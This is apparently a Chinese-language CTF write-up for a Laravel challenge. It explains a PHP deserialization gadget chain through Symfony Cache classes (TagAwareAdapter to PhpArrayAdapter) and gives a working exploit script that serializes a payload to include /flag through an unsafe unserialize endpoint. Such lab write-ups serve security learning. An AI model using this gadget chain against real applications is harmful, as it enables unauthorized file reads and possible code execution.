知识点:代码审计
从页面给的代码我们可以看到有网站备份source.tar.gz,且是以get方式传一个序列化的payload。
<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}
解压一下tar -zxvf source.tar.gz
,然后就是审计了,没说明头绪就先看一下大佬们的解析,这边我学到两个方便的功能,在phpstorm中Ctrl+Alt+B
显示子类继承图,Ctrl+Alt+U
显示父类继承图,各类的关系很清晰。
审计:
序列化的题目可以从__destruct
入手,在TagAwareAdapter
中,再继续完善链子,且invalidateTags
也在本页中。
现在链子为__destruct => commit => invalidateTags
在invalidateTags
中$this->pool
是可控的,那么我们可以找一个有saveDeferred
方法的类,但在这之前要先看一下pool
怎么赋值。
可以看到pool是接口AdapterInterface
的,所以现在要找一个实现接口AdapterInterface
且存在方法saveDeferred
的类,且saveDeferred
这个方法可以利用。
PhpArrayAdapter
中saveDeferred
,null === $this->values
默认符合,然后$this->initialize();
,继续向下看呗
。
但是在利用saveDeferred
之前还要实现一个接口CacheItemInterface
,选择一个。
实现了CacheItemInterface
接口后,再看initialize();
方法,也是链子的结尾。(在PhpArrayTrait.php中),利用点就是include
。
exp
<?php
namespace Symfony\Component\Cache{
final class CacheItem{}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter{
private $deferred;
private $pool;
public function __construct(){
$this->deferred = ["succ3"=>new CacheItem()];
$this->pool = new PhpArrayAdapter();
}
}
class PhpArrayAdapter{
private $file = "/flag";
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));
}
参考:
https://www.xuxblog.top/archives/ciscn2019zong-jue-sai-day1web4laravel1